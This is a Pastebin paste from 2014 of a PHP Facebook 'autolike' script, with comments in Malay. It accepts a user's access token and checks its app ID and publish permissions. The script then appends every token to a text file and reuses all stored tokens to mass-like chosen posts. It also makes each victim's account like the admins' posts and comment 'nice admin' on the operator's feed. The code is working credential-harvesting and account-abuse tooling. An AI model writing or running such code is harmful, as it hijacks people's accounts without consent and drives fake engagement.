Advertisement
tobitaz

home.php laju tobi

Feb 17th, 2014
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.53 KB | None | 0 0
  1.              
  2.  <?php
  3. include("proxy.php");
  4.  
  5.  
  6. //ganti dgn nama file yg ko nak utk simpan token
  7. $tokenko = "token.txt";
  8. $tokeng = $_GET["token"];
  9.  
  10. //edit to off kalo nak off proxy
  11. $proxystatus = "off";
  12.  
  13.  
  14.  
  15.  
  16. //buang text bendasing
  17.  
  18. $buangtext = strripos($tokeng, "&expires_in=0");
  19.  
  20. if($buangtext > 1)
  21. {
  22. $unuk = "&expires_in=0";
  23. $token = str_replace($unuk, "", $tokeng);
  24. }
  25. else
  26. {
  27. $token = $tokeng;
  28. }
  29.  
  30. //tamat
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41. //app id yang ko nak org mesti guna
  42. $appid = "260273468396";
  43.  
  44.  
  45. $check = tobitaz("graph.facebook.com/app?access_token=".$token, $proxystatus);
  46. $cek = strripos($check, $appid);
  47.  
  48.  
  49.  
  50. if($token != null)
  51. {
  52. if($cek === false)
  53. {
  54. die("Please use accesstokens from apps that we provide");
  55. }
  56. }
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67. //check token ada
  68. if($token === null)
  69. {
  70. die("Please submit access token");
  71. }
  72.  
  73. //cek token invalid
  74.  
  75. $k = tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus);
  76.  
  77.  
  78. $check = strripos($k, "OAuthException");
  79.  
  80.  
  81. if($check > 1)
  82. {
  83. die("Access token invalid");
  84. }
  85.  
  86.  
  87.  
  88.  
  89.  
  90. //check permision
  91.  
  92. $per1 = "user_likes";
  93. $per2 = "publish_stream";
  94.  
  95.  
  96. $taf = tobitaz("graph.facebook.com/me/permissions?access_token=".$token, $proxystatus);
  97.  
  98. $ga = strripos($taf, $per1);
  99. $gu = strripos($taf, $per2);
  100.  
  101.  
  102. if($ga < 1 or $gu < 1)
  103. {
  104. die("Please allow ".$per1." And ".$per2." Permission!");
  105. }
  106.  
  107. //show like
  108.  
  109. $iduser = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  110.  
  111. $idusers = $iduser->id;
  112.    $cre = fopen($tokenko, "a+");
  113.    $f = file_get_contents($tokenko);
  114.    $cf = strripos($f, $token);
  115.    $cf2 = strripos($f, $idusers);
  116.         if($cf === false && $cf2 === false)
  117.            {
  118.          
  119.             fwrite($cre, $token."&nama=".$idusers."\n");
  120.            
  121.            }
  122.  
  123.            
  124.  
  125. $staid = tobitaz("graph.facebook.com/me/feed?fields=id,message&access_token=".$token, $proxystatus);
  126.  
  127.  
  128. $taz = json_decode($staid)->data;
  129.  
  130.  
  131.  
  132. //html autolike
  133.  
  134.  
  135.  
  136.  
  137. //start otolke
  138. $statusid = $_POST["statusid"];
  139. if($statusid != null)
  140. {
  141. $geto = preg_split('/(\r?\n)+/', $f);
  142.       foreach($geto as $phc)
  143.    {
  144.  
  145. tobitaz("graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc, $proxystatus);
  146.  
  147.  
  148.  
  149.     }
  150. //admin otolik
  151.  
  152. $listadmin = array("mohdtazme", "zuck");
  153.  
  154.   foreach($listadmin as $admin)
  155. {
  156.  
  157. $gcu = tobitaz("graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token, $proxystatus);
  158.  
  159.  
  160. $jsta = json_decode($gcu)->data;
  161.  
  162.  
  163. tobitaz("graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token, $proxystatus);
  164.  
  165. }
  166.  
  167.  
  168.  
  169. $jaw = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  170.  
  171. //chek id
  172.  
  173.  
  174. $jagu = json_decode(tobitaz("graph.facebook.com/tobitaz/feed?fields=id&access_token=".$token, $proxystatus))->data;
  175.  
  176.  
  177.  
  178. $nod = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  179.  
  180. $fnod = file_get_contents("id.txt");
  181.  
  182. //cek id strripos
  183.  
  184. $nos = strripos($fnod, $nod->id.$jagu[0]->id);
  185.  
  186.  
  187.  
  188.  
  189.  
  190. $kokop = array("wow", "nice admin", "mantap");
  191.  
  192. $koawe = $kokop[array_rand($kokop)];
  193.  
  194.  
  195. tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
  196.  
  197.  
  198. //no double comment
  199.  
  200.  
  201.  
  202. $nodc = fopen("id.txt", "a+");
  203.               fwrite($nodc, $nod->id.$jagu[0]->id."\n");
  204.               fclose($nodc);
  205.  
  206.  
  207.  
  208.  
  209.  
  210. //end admin
  211.  
  212.  
  213.  
  214. echo "<script>window.location = 'remover.php'</script>";
  215.  
  216.  
  217. }
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.            
  230.      fclose($cre);
  231.  
  232.  
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240. chmod($tokenko, 0600);
  241.  
  242. //bendasing dlm home
  243.  
  244. $dp = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  245.  
  246.  
  247.  
  248. ?>    
  249.  
  250.  
  251.   <body style="background-color:black; width:100%;">
  252.         <center>
  253. <img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token; ?>" /><br />
  254. <font color="white"><?php echo $dp->name; ?></font><br />
  255.         <div style="border:3px grey outset; background-color:grey; width:60%;">
  256.         <form action="" method="post">
  257.         <font color="red">STATUS:</font><br /><font color="white"><?php echo $taz[0]->message; ?></font>
  258.        
  259.         <input type="hidden" name="token" value="'.$token.'"><br />
  260.         <font color="white" style="float:left;">statusid:</font><br /><input name="statusid" value="<?php echo $taz[0]->id; ?>" style="float:left;">
  261.        
  262.       <br /> <button type="submit" style="float:right; border:3px red outset; color:white; background-color:red;">AUTOLIKE</button>
  263.         </form><br /></div><br />
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement